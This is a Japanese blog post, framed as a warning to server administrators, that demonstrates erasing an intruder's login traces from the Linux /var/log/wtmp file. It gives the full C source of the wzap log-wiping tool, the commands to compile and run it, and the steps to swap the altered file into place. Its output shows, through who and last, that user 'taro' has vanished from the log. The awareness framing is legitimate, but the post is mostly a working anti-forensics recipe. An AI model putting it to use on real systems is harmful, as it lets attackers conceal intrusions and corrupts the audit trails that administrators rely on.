予め、断っておく。ここで紹介するネタは、クラックな方々がやりそうな事を事前に紹介して、鯖管理者に認識して欲しいが為に紹介するネタである。決して悪用してはならない!
ところで、クラックな方々が行う手法に、「侵入した形跡を抹消する。」ということが上げられる。この行為は、侵入した場合には必ずと言っていいほど悪人は行うに違いない。むしろ、これを行わないクラッカーは相当まぬけであるとも言える。自分の侵入した形跡も消すが、故意にその他のログも改ざんして管理者を困らせる愉快犯的な事も行う場合も有る。もし、俺が悪人だとして、無防備な鯖へ侵入したとしたら帰り際、痕跡を消すために真っ先にwtmpファイルを改ざんするだろう。
そこで、ここではwtmpファイルの改ざん方法を試してみる。
1.現在迄のリモートによるlogin履歴を見る
wtmpファイルは、/var/log直下に有り、wコマンドとかwhoコマンドとかlastコマンドの元になってるバイナリファイルである。したがって、このファイルを改ざんされたら痛い打撃だ。侵入した痕跡を残さないため、クラックな方々はこのファイルを改ざんするだろう。
root@hiro:~# cd /var/log/
root@hiro:/var/log# who ./wtmp
taro pts/1 May 6 08:00 (server.xxxxxxx.com)
taro pts/1 May 7 16:55 (server.xxxxxxx.com)
taro pts/1 May 8 08:47 (server.xxxxxxx.com)
taro pts/1 May 9 08:51 (server.xxxxxxx.com)
taro pts/1 May 9 09:31 (server.xxxxxxx.com)
hoge pts/1 May 19 08:57 (192.168.40.2)
hanako pts/2 May 19 08:59 (192.168.40.2)
以降、taroというユーザでクラックな方がこの鯖への侵入が成功して、このtaroユーザでのloginの痕跡を残さないで抹消しようとしている事を仮定して説明する。
2.wzap.cを使う(wtmpファイルを空にするのは芸がない)
改ざんするとは言え、ファイルを空にすれば足跡が残らないのではないか?とまあ言い切る人もいるだろうが、管理者は馬鹿ではないので、wtmpファイルを「0」にしてあれば侵入されたということが直ぐに解るはずだ。クラックな方のプロは侵入した痕跡を残さないのである。そのためには、侵入に使ったユーザアカウントだけ消しておけば良いことになる。しかし、wtmpはバイナリファイルであるためそう簡単には改ざんできない。そこで、wzapというCプログラムを使って特定のユーザ情報の消去が出来るのでその方法を伝授する。
1)/tmpディレクトリで作業する
root@hiro:/var/log# cd /tmp/
2)wzap.cを作る
root@hiro:/tmp# vi wzap.c
内容に関しては 下記のソースをダウンロード(再配布等の条件は、同ダウンロードサイトに有る gpl2-j.txt に準拠)。
/* Dave's neato wtmp program
* wzap.c
* NOTE: reads 'wtmp' from current directory and writes
* 'wtmp.out' in cuurent directory...
*/
#include <utmp.h>
#include <stdio.h>
#include <time.h>
#include <sys/time.h>
FILE *Wfile, *Wout;
struct utmp myutmp;
main(argc,argv)
int argc;
char *argv[];
{
char username[20];
char yesorno[5];
long thetime, posi;
if (argc<2) {
printf("\n\n");
printf("Enter username to zap from the wtmp: ");
scanf("%s",username);
} else strcpy(username,argv[1]);
printf("\nopening file...\n");
if ((Wfile = fopen("wtmp","r"))==NULL)
{ printf("no open file\n"); exit(0); }
printf("\nopening output file...\n");
if ((Wout = fopen("wtmp.out","wr"))==NULL)
{ printf("no open output file...\n"); exit(0); }
printf("working...\n");
while(!feof(Wfile)) {
fread(&myutmp,sizeof(myutmp),1,Wfile);
if (strncmp(myutmp.ut_name,username,8))
fwrite(&myutmp,sizeof(myutmp),1,Wout);
}
fclose(Wfile);
fclose(Wout);
}
wrote wzap.c, 38 lines, 963 chars
3)wzap.cをコンパイルする
root@hiro:/tmp# gcc -o wzap wzap.c
root@hiro:/tmp# ls -al
省略
-rwxr-xr-x 1 root root 13038 2007-05-19 09:01 wzap
-rw-r–r– 1 root root 963 2007-05-19 09:00 wzap.c
3.wzapを使ってみる
1)wzapの実行
root@hiro:/tmp# cd /var/log/
root@hiro:/var/log# /tmp/wzap
Enter username to zap from the wtmp: taro ←入力
opening file…
opening output file…
working…
2)カレントディレクトリに出力ファイルwtmp.outが有るかを確認
root@hiro:/var/log# ls -al
-rw-rw-r– 1 root utmp 5760 2007-05-19 08:59 wtmp
-rw-rw-r– 1 root utmp 19968 2007-04-27 15:04 wtmp.1
-rw-r–r– 1 root root 3840 2007-05-19 09:04 wtmp.out
3)whoコマンドでwtmp.outファイルの中身を確認する
root@hiro:/var/log# who ./wtmp.out
hoge pts/1 May 19 08:57 (192.168.40.2)
hanako pts/2 May 19 08:59 (192.168.40.2)
taroユーザの痕跡が抹消されているのが解る。
4.wtmpファイルをすりかえて最終確認する
1)wtmpファイルとwtmp.outファイルをすりかえる
root@hiro:/var/log# rm -f wtmp
root@hiro:/var/log# mv wtmp.out wtmp
root@hiro:/var/log# chown root.utmp wtmp
2)lastコマンドで最終確認
root@hiro:/var/log# last
hanako pts/2 192.168.40.2 Sat May 19 08:59 – 08:59 (00:00)
hoge pts/1 192.168.40.2 Sat May 19 08:57 gone – no logout
wtmp begins Sun May 6 08:00:45 2007
間違いなくtaroユーザは抹消されている。
以上
コメント